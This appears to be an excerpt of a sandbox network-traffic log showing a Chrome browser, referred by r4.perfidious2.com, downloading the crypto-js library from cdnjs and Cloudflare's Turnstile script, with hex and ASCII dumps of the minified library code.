Ascii: :function(e,t){var n,r=i.xhr();if(r.open(i.type,i.url,i.async,i.username,i.password),i.xhrFields)for(n in i.xhrFields)r[n]=i.xhrFields[n];for(n in i.mimeType&&r.overrideMimeType&&r.overrideMimeType(i.mimeType),i.crossDomain\|\|e["X-Requested-With"]\|\|(e["X-R

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.16	49724	104.17.25.14	443	4800	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-03 08:05:20 UTC	564	OUT	GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://r4.perfidious2.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-03 08:05:20 UTC	958	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 08:05:20 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"61182885-40eb" Last-Modified: Sat, 14 Aug 2021 20:33:09 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 411497 Expires: Sun, 23 Nov 2025 08:05:20 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=bSyfQvr6Ho3JhAeRDEvTivogbnrHxiTy5KcpHw2WONAI%2Bc5c0PVin0q7yZeHMK7Yz1IDJ1V2DBRy5%2BKeJObXt2OIiSdGEuVk%2FfoR1a8Oe3AE4S8Cf9IRTPJ8fVu0LaveWeJgzQhI"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 8ec20d137f70437f-EWR alt-svc: h3=":443"; ma=86400
2024-12-03 08:05:20 UTC	411	IN	Data Raw: 37 62 66 33 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 78 70 6f 72 74 73 3d 65 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 5b 5d 2c 65 29 3a 74 2e 43 72 79 70 74 6f 4a 53 3d 65 28 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 6e 2c 6f 2c 73 2c 61 2c 68 2c 74 2c 65 2c 6c 2c 72 2c 69 2c 63 2c 66 2c 64 2c 75 2c 70 2c 53 2c 78 2c 62 2c 41 2c 48 2c 7a 2c 5f 2c 76 2c 67 2c 79 2c 42 2c 77 2c 6b 2c 6d 2c 43 2c 44 2c 45 2c 52 2c 4d 2c 46 2c 50 2c 57 2c 4f 2c 49 2c 55 3d 55 7c 7c 66 75 6e 63 74 69 6f 6e 28 68 29 7b Data Ascii: 7bf3!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var n,o,s,a,h,t,e,l,r,i,c,f,d,u,p,S,x,b,A,H,z,_,v,g,y,B,w,k,m,C,D,E,R,M,F,P,W,O,I,U=U\|\|function(h){
2024-12-03 08:05:20 UTC	1369	IN	Data Raw: 20 67 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 2e 63 72 79 70 74 6f 3f 67 6c 6f 62 61 6c 54 68 69 73 2e 63 72 79 70 74 6f 3a 69 29 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 3f 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 3a 69 29 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 3f 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 3a 69 29 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 72 65 71 75 69 72 65 29 74 72 79 7b 69 3d 72 65 71 75 69 72 65 28 22 63 72 79 70 74 6f 22 29 7d 63 61 74 63 68 28 74 29 7b 7d 76 61 72 20 72 3d 4f 62 6a 65 63 74 2e 63 72 65 61 Data Ascii: globalThis&&globalThis.crypto?globalThis.crypto:i)&&"undefined"!=typeof window&&window.msCrypto?window.msCrypto:i)&&"undefined"!=typeof global&&global.crypto?global.crypto:i)&&"function"==typeof require)try{i=require("crypto")}catch(t){}var r=Object.crea
2024-12-03 08:05:20 UTC	1369	IN	Data Raw: 61 6c 6c 28 74 68 69 73 29 3b 72 65 74 75 72 6e 20 74 2e 77 6f 72 64 73 3d 74 68 69 73 2e 77 6f 72 64 73 2e 73 6c 69 63 65 28 30 29 2c 74 7d 2c 72 61 6e 64 6f 6d 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 6f 72 28 76 61 72 20 65 3d 5b 5d 2c 72 3d 30 3b 72 3c 74 3b 72 2b 3d 34 29 65 2e 70 75 73 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 69 29 7b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 69 2e 67 65 74 52 61 6e 64 6f 6d 56 61 6c 75 65 73 29 74 72 79 7b 72 65 74 75 72 6e 20 69 2e 67 65 74 52 61 6e 64 6f 6d 56 61 6c 75 65 73 28 6e 65 77 20 55 69 6e 74 33 32 41 72 72 61 79 28 31 29 29 5b 30 5d 7d 63 61 74 63 68 28 74 29 7b 7d 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 69 2e 72 61 6e 64 6f 6d 42 79 74 65 73 29 Data Ascii: all(this);return t.words=this.words.slice(0),t},random:function(t){for(var e=[],r=0;r<t;r+=4)e.push(function(){if(i){if("function"==typeof i.getRandomValues)try{return i.getRandomValues(new Uint32Array(1))[0]}catch(t){}if("function"==typeof i.randomBytes)
2024-12-03 08:05:20 UTC	1369	IN	Data Raw: 65 6f 66 20 74 26 26 28 74 3d 66 2e 70 61 72 73 65 28 74 29 29 2c 74 68 69 73 2e 5f 64 61 74 61 2e 63 6f 6e 63 61 74 28 74 29 2c 74 68 69 73 2e 5f 6e 44 61 74 61 42 79 74 65 73 2b 3d 74 2e 73 69 67 42 79 74 65 73 7d 2c 5f 70 72 6f 63 65 73 73 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 2c 72 3d 74 68 69 73 2e 5f 64 61 74 61 2c 69 3d 72 2e 77 6f 72 64 73 2c 6e 3d 72 2e 73 69 67 42 79 74 65 73 2c 6f 3d 74 68 69 73 2e 62 6c 6f 63 6b 53 69 7a 65 2c 73 3d 6e 2f 28 34 2a 6f 29 2c 63 3d 28 73 3d 74 3f 68 2e 63 65 69 6c 28 73 29 3a 68 2e 6d 61 78 28 28 30 7c 73 29 2d 74 68 69 73 2e 5f 6d 69 6e 42 75 66 66 65 72 53 69 7a 65 2c 30 29 29 2a 6f 2c 6e 3d 68 2e 6d 69 6e 28 34 2a 63 2c 6e 29 3b 69 66 28 63 29 7b 66 6f 72 28 76 61 72 20 61 3d 30 3b 61 3c 63 3b Data Ascii: eof t&&(t=f.parse(t)),this._data.concat(t),this._nDataBytes+=t.sigBytes},_process:function(t){var e,r=this._data,i=r.words,n=r.sigBytes,o=this.blockSize,s=n/(4o),c=(s=t?h.ceil(s):h.max((0\|s)-this._minBufferSize,0))o,n=h.min(4*c,n);if(c){for(var a=0;a<c;
2024-12-03 08:05:20 UTC	1369	IN	Data Raw: 61 72 20 74 3d 74 68 69 73 2e 5f 58 2c 65 3d 74 68 69 73 2e 5f 43 2c 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 45 5b 72 5d 3d 65 5b 72 5d 3b 65 5b 30 5d 3d 65 5b 30 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 74 68 69 73 2e 5f 62 7c 30 2c 65 5b 31 5d 3d 65 5b 31 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 30 5d 3e 3e 3e 30 3c 45 5b 30 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 32 5d 3d 65 5b 32 5d 2b 38 38 36 32 36 33 30 39 32 2b 28 65 5b 31 5d 3e 3e 3e 30 3c 45 5b 31 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 33 5d 3d 65 5b 33 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 28 65 5b 32 5d 3e 3e 3e 30 3c 45 5b 32 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 34 5d 3d 65 5b 34 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 33 5d 3e 3e 3e 30 3c 45 5b 33 5d 3e 3e 3e 30 Data Ascii: ar t=this._X,e=this._C,r=0;r<8;r++)E[r]=e[r];e[0]=e[0]+1295307597+this._b\|0,e[1]=e[1]+3545052371+(e[0]>>>0<E[0]>>>0?1:0)\|0,e[2]=e[2]+886263092+(e[1]>>>0<E[1]>>>0?1:0)\|0,e[3]=e[3]+1295307597+(e[2]>>>0<E[2]>>>0?1:0)\|0,e[4]=e[4]+3545052371+(e[3]>>>0<E[3]>>>0
2024-12-03 08:05:20 UTC	1369	IN	Data Raw: 6f 72 28 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 74 5b 72 5d 2b 65 5b 72 5d 2c 6e 3d 36 35 35 33 35 26 69 2c 6f 3d 69 3e 3e 3e 31 36 3b 49 5b 72 5d 3d 28 28 6e 2a 6e 3e 3e 3e 31 37 29 2b 6e 2a 6f 3e 3e 3e 31 35 29 2b 6f 2a 6f 5e 28 28 34 32 39 34 39 30 31 37 36 30 26 69 29 2a 69 7c 30 29 2b 28 28 36 35 35 33 35 26 69 29 2a 69 7c 30 29 7d 74 5b 30 5d 3d 49 5b 30 5d 2b 28 49 5b 37 5d 3c 3c 31 36 7c 49 5b 37 5d 3e 3e 3e 31 36 29 2b 28 49 5b 36 5d 3c 3c 31 36 7c 49 5b 36 5d 3e 3e 3e 31 36 29 7c 30 2c 74 5b 31 5d 3d 49 5b 31 5d 2b 28 49 5b 30 5d 3c 3c 38 7c 49 5b 30 5d 3e 3e 3e 32 34 29 2b 49 5b 37 5d 7c 30 2c 74 5b 32 5d 3d 49 5b 32 5d 2b 28 49 5b 31 5d 3c 3c 31 36 7c 49 5b 31 5d 3e 3e 3e 31 36 29 2b 28 49 5b 30 5d 3c 3c 31 36 7c 49 5b 30 5d Data Ascii: or(r=0;r<8;r++){var i=t[r]+e[r],n=65535&i,o=i>>>16;I[r]=((nn>>>17)+no>>>15)+oo^((4294901760&i)i\|0)+((65535&i)*i\|0)}t[0]=I[0]+(I[7]<<16\|I[7]>>>16)+(I[6]<<16\|I[6]>>>16)\|0,t[1]=I[1]+(I[0]<<8\|I[0]>>>24)+I[7]\|0,t[2]=I[2]+(I[1]<<16\|I[1]>>>16)+(I[0]<<16\|I[0]
2024-12-03 08:05:20 UTC	1369	IN	Data Raw: 2c 74 2e 62 79 74 65 4f 66 66 73 65 74 2c 74 2e 62 79 74 65 4c 65 6e 67 74 68 29 3a 74 29 69 6e 73 74 61 6e 63 65 6f 66 20 55 69 6e 74 38 41 72 72 61 79 29 7b 66 6f 72 28 76 61 72 20 65 3d 74 2e 62 79 74 65 4c 65 6e 67 74 68 2c 72 3d 5b 5d 2c 69 3d 30 3b 69 3c 65 3b 69 2b 2b 29 72 5b 69 3e 3e 3e 32 5d 7c 3d 74 5b 69 5d 3c 3c 32 34 2d 69 25 34 2a 38 3b 73 2e 63 61 6c 6c 28 74 68 69 73 2c 72 2c 65 29 7d 65 6c 73 65 20 73 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 29 7d 29 2e 70 72 6f 74 6f 74 79 70 65 3d 50 29 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 55 2c 6e 3d 74 2e 6c 69 62 2e 57 6f 72 64 41 72 72 61 79 2c 74 3d 74 2e 65 6e 63 3b 74 2e 55 74 66 31 36 3d 74 2e 55 74 66 31 36 42 45 3d 7b 73 74 72 69 6e 67 69 66 79 3a 66 75 Data Ascii: ,t.byteOffset,t.byteLength):t)instanceof Uint8Array){for(var e=t.byteLength,r=[],i=0;i<e;i++)r[i>>>2]\|=t[i]<<24-i%4*8;s.call(this,r,e)}else s.apply(this,arguments)}).prototype=P),function(){var t=U,n=t.lib.WordArray,t=t.enc;t.Utf16=t.Utf16BE={stringify:fu
2024-12-03 08:05:20 UTC	1369	IN	Data Raw: 61 72 41 74 28 36 34 29 3b 72 65 74 75 72 6e 21 6f 7c 7c 2d 31 21 3d 3d 28 6f 3d 74 2e 69 6e 64 65 78 4f 66 28 6f 29 29 26 26 28 65 3d 6f 29 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 72 29 7b 66 6f 72 28 76 61 72 20 69 3d 5b 5d 2c 6e 3d 30 2c 6f 3d 30 3b 6f 3c 65 3b 6f 2b 2b 29 7b 76 61 72 20 73 2c 63 3b 6f 25 34 26 26 28 73 3d 72 5b 74 2e 63 68 61 72 43 6f 64 65 41 74 28 6f 2d 31 29 5d 3c 3c 6f 25 34 2a 32 2c 63 3d 72 5b 74 2e 63 68 61 72 43 6f 64 65 41 74 28 6f 29 5d 3e 3e 3e 36 2d 6f 25 34 2a 32 2c 63 3d 73 7c 63 2c 69 5b 6e 3e 3e 3e 32 5d 7c 3d 63 3c 3c 32 34 2d 6e 25 34 2a 38 2c 6e 2b 2b 29 7d 72 65 74 75 72 6e 20 61 2e 63 72 65 61 74 65 28 69 2c 6e 29 7d 28 74 2c 65 2c 69 29 7d 2c 5f 6d 61 70 3a 22 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f 50 51 Data Ascii: arAt(64);return!o\|\|-1!==(o=t.indexOf(o))&&(e=o),function(t,e,r){for(var i=[],n=0,o=0;o<e;o++){var s,c;o%4&&(s=r[t.charCodeAt(o-1)]<<o%42,c=r[t.charCodeAt(o)]>>>6-o%42,c=s\|c,i[n>>>2]\|=c<<24-n%4*8,n++)}return a.create(i,n)}(t,e,i)},_map:"ABCDEFGHIJKLMNOPQ
2024-12-03 08:05:20 UTC	1369	IN	Data Raw: 2e 73 69 6e 28 74 2b 31 29 29 7c 30 7d 28 29 3b 65 3d 65 2e 4d 44 35 3d 69 2e 65 78 74 65 6e 64 28 7b 5f 64 6f 52 65 73 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 5f 68 61 73 68 3d 6e 65 77 20 72 2e 69 6e 69 74 28 5b 31 37 33 32 35 38 34 31 39 33 2c 34 30 32 33 32 33 33 34 31 37 2c 32 35 36 32 33 38 33 31 30 32 2c 32 37 31 37 33 33 38 37 38 5d 29 7d 2c 5f 64 6f 50 72 6f 63 65 73 73 42 6c 6f 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 72 3d 30 3b 72 3c 31 36 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 65 2b 72 2c 6e 3d 74 5b 69 5d 3b 74 5b 69 5d 3d 31 36 37 31 31 39 33 35 26 28 6e 3c 3c 38 7c 6e 3e 3e 3e 32 34 29 7c 34 32 37 38 32 35 35 33 36 30 26 28 6e 3c 3c 32 34 7c 6e 3e 3e 3e 38 29 7d 76 61 72 20 6f 3d 74 68 69 73 Data Ascii: .sin(t+1))\|0}();e=e.MD5=i.extend({_doReset:function(){this._hash=new r.init([1732584193,4023233417,2562383102,271733878])},_doProcessBlock:function(t,e){for(var r=0;r<16;r++){var i=e+r,n=t[i];t[i]=16711935&(n<<8\|n>>>24)\|4278255360&(n<<24\|n>>>8)}var o=this
2024-12-03 08:05:20 UTC	1369	IN	Data Raw: 2c 6d 3d 43 28 6d 2c 62 2c 78 2c 53 2c 42 2c 34 2c 41 5b 34 30 5d 29 2c 53 3d 43 28 53 2c 6d 2c 62 2c 78 2c 73 2c 31 31 2c 41 5b 34 31 5d 29 2c 78 3d 43 28 78 2c 53 2c 6d 2c 62 2c 68 2c 31 36 2c 41 5b 34 32 5d 29 2c 62 3d 43 28 62 2c 78 2c 53 2c 6d 2c 64 2c 32 33 2c 41 5b 34 33 5d 29 2c 6d 3d 43 28 6d 2c 62 2c 78 2c 53 2c 5f 2c 34 2c 41 5b 34 34 5d 29 2c 53 3d 43 28 53 2c 6d 2c 62 2c 78 2c 67 2c 31 31 2c 41 5b 34 35 5d 29 2c 78 3d 43 28 78 2c 53 2c 6d 2c 62 2c 6b 2c 31 36 2c 41 5b 34 36 5d 29 2c 6d 3d 44 28 6d 2c 62 3d 43 28 62 2c 78 2c 53 2c 6d 2c 61 2c 32 33 2c 41 5b 34 37 5d 29 2c 78 2c 53 2c 73 2c 36 2c 41 5b 34 38 5d 29 2c 53 3d 44 28 53 2c 6d 2c 62 2c 78 2c 75 2c 31 30 2c 41 5b 34 39 5d 29 2c 78 3d 44 28 78 2c 53 2c 6d 2c 62 2c 77 2c 31 35 2c 41 5b Data Ascii: ,m=C(m,b,x,S,B,4,A[40]),S=C(S,m,b,x,s,11,A[41]),x=C(x,S,m,b,h,16,A[42]),b=C(b,x,S,m,d,23,A[43]),m=C(m,b,x,S,_,4,A[44]),S=C(S,m,b,x,g,11,A[45]),x=C(x,S,m,b,k,16,A[46]),m=D(m,b=C(b,x,S,m,a,23,A[47]),x,S,s,6,A[48]),S=D(S,m,b,x,u,10,A[49]),x=D(x,S,m,b,w,15,A[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.16	49723	104.18.94.41	443	4800	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-03 08:05:20 UTC	562	OUT	GET /turnstile/v0/api.js?render=explicit HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://r4.perfidious2.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-03 08:05:20 UTC	386	IN	HTTP/1.1 302 Found Date: Tue, 03 Dec 2024 08:05:20 GMT Content-Length: 0 Connection: close access-control-allow-origin: * cache-control: max-age=300, stale-if-error=10800, stale-while-revalidate=300, public cross-origin-resource-policy: cross-origin location: /turnstile/v0/b/a6e12e96a2d5/api.js Server: cloudflare CF-RAY: 8ec20d140ac48c11-EWR alt-svc: h3=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.16	49725	104.18.94.41	443	4800	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-03 08:05:22 UTC	561	OUT	GET /turnstile/v0/b/a6e12e96a2d5/api.js HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://r4.perfidious2.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-03 08:05:22 UTC	471	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 08:05:22 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 47695 Connection: close accept-ranges: bytes last-modified: Thu, 21 Nov 2024 17:58:42 GMT cache-control: max-age=31536000, stale-if-error=10800, stale-while-revalidate=31536000, public access-control-allow-origin: * cross-origin-resource-policy: cross-origin Server: cloudflare CF-RAY: 8ec20d1f2b8a0c88-EWR alt-svc: h3=":443"; ma=86400
2024-12-03 08:05:22 UTC	898	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 48 74 28 65 2c 72 2c 6e 2c 6f 2c 63 2c 75 2c 67 29 7b 74 72 79 7b 76 61 72 20 68 3d 65 5b 75 5d 28 67 29 2c 6c 3d 68 2e 76 61 6c 75 65 7d 63 61 74 63 68 28 70 29 7b 6e 28 70 29 3b 72 65 74 75 72 6e 7d 68 2e 64 6f 6e 65 3f 72 28 6c 29 3a 50 72 6f 6d 69 73 65 2e 72 65 73 6f 6c 76 65 28 6c 29 2e 74 68 65 6e 28 6f 2c 63 29 7d 66 75 6e 63 74 69 6f 6e 20 42 74 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 72 3d 74 68 69 73 2c 6e 3d 61 72 67 75 6d 65 6e 74 73 3b 72 65 74 75 72 6e 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 63 29 7b 76 61 72 20 75 3d 65 2e 61 70 70 6c 79 28 72 2c 6e 29 3b 66 75 6e 63 74 Data Ascii: "use strict";(function(){function Ht(e,r,n,o,c,u,g){try{var h=e[u](g),l=h.value}catch(p){n(p);return}h.done?r(l):Promise.resolve(l).then(o,c)}function Bt(e){return function(){var r=this,n=arguments;return new Promise(function(o,c){var u=e.apply(r,n);funct
2024-12-03 08:05:22 UTC	1369	IN	Data Raw: 20 65 7d 66 75 6e 63 74 69 6f 6e 20 53 72 28 65 2c 72 29 7b 76 61 72 20 6e 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 65 29 3b 69 66 28 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 29 7b 76 61 72 20 6f 3d 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 28 65 29 3b 72 26 26 28 6f 3d 6f 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 63 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 28 65 2c 63 29 2e 65 6e 75 6d 65 72 61 62 6c 65 7d 29 29 2c 6e 2e 70 75 73 68 2e 61 70 70 6c 79 28 6e 2c 6f 29 7d 72 65 74 75 72 6e 20 6e 7d 66 75 6e 63 74 69 6f 6e 20 6e 74 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 72 3d 72 21 3d 6e 75 Data Ascii: e}function Sr(e,r){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertySymbols(e);r&&(o=o.filter(function(c){return Object.getOwnPropertyDescriptor(e,c).enumerable})),n.push.apply(n,o)}return n}function nt(e,r){return r=r!=nu
2024-12-03 08:05:22 UTC	1369	IN	Data Raw: 72 61 79 24 2f 2e 74 65 73 74 28 6e 29 29 72 65 74 75 72 6e 20 61 74 28 65 2c 72 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 41 65 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 6a 74 28 65 29 7c 7c 71 74 28 65 2c 72 29 7c 7c 47 74 28 65 2c 72 29 7c 7c 7a 74 28 29 7d 66 75 6e 63 74 69 6f 6e 20 46 28 65 29 7b 22 40 73 77 63 2f 68 65 6c 70 65 72 73 20 2d 20 74 79 70 65 6f 66 22 3b 72 65 74 75 72 6e 20 65 26 26 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 3d 3d 53 79 6d 62 6f 6c 3f 22 73 79 6d 62 6f 6c 22 3a 74 79 70 65 6f 66 20 65 7d 66 75 6e 63 74 69 6f 6e 20 55 65 28 65 2c 72 29 7b 76 61 72 20 6e 3d 7b 6c 61 62 65 6c 3a 30 2c 73 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 75 5b 30 Data Ascii: ray$/.test(n))return at(e,r)}}function Ae(e,r){return jt(e)\|\|qt(e,r)\|\|Gt(e,r)\|\|zt()}function F(e){"@swc/helpers - typeof";return e&&typeof Symbol!="undefined"&&e.constructor===Symbol?"symbol":typeof e}function Ue(e,r){var n={label:0,sent:function(){if(u[0
2024-12-03 08:05:22 UTC	1369	IN	Data Raw: 74 69 6f 6e 3a 22 54 75 72 6e 73 74 69 6c 65 27 73 20 61 70 69 2e 6a 73 20 77 61 73 20 6c 6f 61 64 65 64 2c 20 62 75 74 20 74 68 65 20 69 66 72 61 6d 65 20 75 6e 64 65 72 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 6c 6f 61 64 65 64 2e 20 48 61 73 20 74 68 65 20 76 69 73 69 74 6f 72 20 62 6c 6f 63 6b 65 64 20 73 6f 6d 65 20 70 61 72 74 73 20 6f 66 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 6f 72 20 61 72 65 20 74 68 65 79 20 73 65 6c 66 2d 68 6f 73 74 69 6e 67 20 61 70 69 2e 6a 73 3f 22 7d 3b 76 61 72 20 59 74 3d 33 30 30 30 32 30 3b 76 61 72 20 44 65 3d 33 30 30 30 33 30 3b 76 61 72 20 56 65 3d 33 30 30 30 33 31 3b 76 61 72 20 6a 3b 28 66 75 Data Ascii: tion:"Turnstile's api.js was loaded, but the iframe under challenges.cloudflare.com could not be loaded. Has the visitor blocked some parts of challenges.cloudflare.com or are they self-hosting api.js?"};var Yt=300020;var De=300030;var Ve=300031;var j;(fu
2024-12-03 08:05:22 UTC	1369	IN	Data Raw: 3d 22 6e 65 76 65 72 22 2c 65 2e 4d 41 4e 55 41 4c 3d 22 6d 61 6e 75 61 6c 22 2c 65 2e 41 55 54 4f 3d 22 61 75 74 6f 22 7d 29 28 4a 7c 7c 28 4a 3d 7b 7d 29 29 3b 76 61 72 20 69 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 4e 45 56 45 52 3d 22 6e 65 76 65 72 22 2c 65 2e 4d 41 4e 55 41 4c 3d 22 6d 61 6e 75 61 6c 22 2c 65 2e 41 55 54 4f 3d 22 61 75 74 6f 22 7d 29 28 69 65 7c 7c 28 69 65 3d 7b 7d 29 29 3b 76 61 72 20 58 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 41 4c 57 41 59 53 3d 22 61 6c 77 61 79 73 22 2c 65 2e 45 58 45 43 55 54 45 3d 22 65 78 65 63 75 74 65 22 2c 65 2e 49 4e 54 45 52 41 43 54 49 4f 4e 5f 4f 4e 4c 59 3d 22 69 6e 74 65 72 61 63 74 69 6f 6e 2d 6f 6e 6c 79 22 7d 29 28 58 7c 7c 28 58 3d 7b 7d 29 29 3b 76 61 72 20 70 65 3b 28 66 75 Data Ascii: ="never",e.MANUAL="manual",e.AUTO="auto"})(J\|\|(J={}));var ie;(function(e){e.NEVER="never",e.MANUAL="manual",e.AUTO="auto"})(ie\|\|(ie={}));var X;(function(e){e.ALWAYS="always",e.EXECUTE="execute",e.INTERACTION_ONLY="interaction-only"})(X\|\|(X={}));var pe;(fu
